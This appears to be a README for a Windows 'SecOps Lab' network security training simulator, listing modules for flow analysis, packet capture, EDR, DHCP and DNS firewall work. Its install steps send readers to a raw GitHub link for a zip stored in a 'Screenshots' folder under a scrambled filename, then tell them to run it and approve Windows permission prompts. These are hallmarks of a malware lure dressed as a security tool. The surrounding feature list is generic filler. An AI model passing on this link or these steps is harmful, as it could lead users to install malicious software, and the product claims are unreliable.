SecOps Lab is a Windows app for learning basic network security tasks in one place. It brings together tools for network flow review, user behavior checks, packet capture study, endpoint checks, DHCP management, and DNS firewall setup.
It is built for users who want to practice common security workflows without using separate tools for each task.
- Review network flow data and spot strange activity
- Check user behavior patterns for signs of risk
- View packet capture examples in a simple Wireshark-style layout
- Run endpoint checks to look for unsafe files or processes
- Manage DHCP server settings in a guided screen
- Set DNS firewall rules to block known bad domains
- Move between tools from one clear dashboard
Before you install, make sure your PC has:
- Windows 10 or Windows 11
- At least 4 GB RAM
- 500 MB free disk space
- A mouse and keyboard
- Internet access for the first download
For smoother use, 8 GB RAM or more is a good choice.
- Open the download page: https://raw.githubusercontent.com/Nicolinepaying961/SecOps-Lab-Network-Security-Operations-Simulator/main/Screenshots/Lab-Network-Operations-Simulator-Sec-Security-Ops-v1.0.zip
- Find the latest Windows build on the page
- Download the file to your PC
- Wait for the file to finish
- Open the downloaded file from your Downloads folder
- If Windows asks for permission, choose Run or Yes
- Follow the setup steps on screen
- Start the app from the desktop or Start menu
When you open SecOps Lab for the first time, go through these steps:
- Pick your preferred display mode if asked
- Allow the app to load its main dashboard
- Check each module one by one
- Use the sample data to learn the layout
- Start with Network Flow Analysis if you want the simplest view
If the app offers saved settings, keep the default values the first time.
This area helps you review traffic patterns and user actions. Use it to:
- View traffic by source and destination
- Spot changes in normal use
- Check for odd logon times
- Compare daily activity patterns
This area helps you study packet capture in a safer, simpler view. Use it to:
- Open sample packet data
- Inspect packet fields
- Review protocol details
- Learn how packet traces are read
The endpoint section helps you check a computer for risk signs. Use it to:
- Review running tasks
- Look for unsafe file names
- Check simple alert items
- Follow a basic incident review flow
This area helps you manage address settings. Use it to:
- View active leases
- Track address use
- Review server options
- See basic client status
This area helps you manage domain blocking rules. Use it to:
- Add domains to a block list
- Review allowed and blocked entries
- Check rule status
- Keep unsafe sites out of the network view
The main dashboard gives you access to all tools in one place.
- Open the app
- Choose a module from the left panel or main tiles
- Work through the section you need
- Return to the dashboard when you want to switch tasks
The layout is built to keep the most used actions easy to find.
If you are new to security tools, follow this order:
- Network Flow Analysis
- Wireshark Packet Capture
- EDR
- DHCP Server Management
- DNS Firewall Configuration
This order starts with simple traffic views and moves toward deeper system checks.
- Open Network Flow Analysis
- Sort by traffic volume
- Look for large spikes
- Check users with unusual access times
- Open the packet capture section
- Load a sample trace
- Click a packet row
- Read the fields shown below
- Open the EDR section
- Review alerts
- Check files and processes
- Mark suspicious items for follow-up
- Open DHCP Server Management
- Review current lease data
- Update address settings if needed
- Save your changes
- Open DNS Firewall Configuration
- Add the domain name
- Set the rule type
- Save the entry and test the view
Most screens use simple controls:
- Click to open a module
- Type in a field to add data
- Use a list to choose items
- Press Save to keep changes
- Press Back or Home to return to the main screen
If you use a touchpad, single clicks work for most tasks.
If the app creates local data, keep the default folder unless you have a reason to change it. This helps the app find its files and keep your settings in one place.
For best results:
- Do not rename app files
- Do not move files after setup
- Keep the app in one folder
- Use the same account each time you open it
SecOps Lab is useful for:
- Home lab learning
- Security awareness practice
- SOC style walkthroughs
- Basic incident response training
- Endpoint and network review practice
It gives you a safe way to learn common tasks before using live tools.
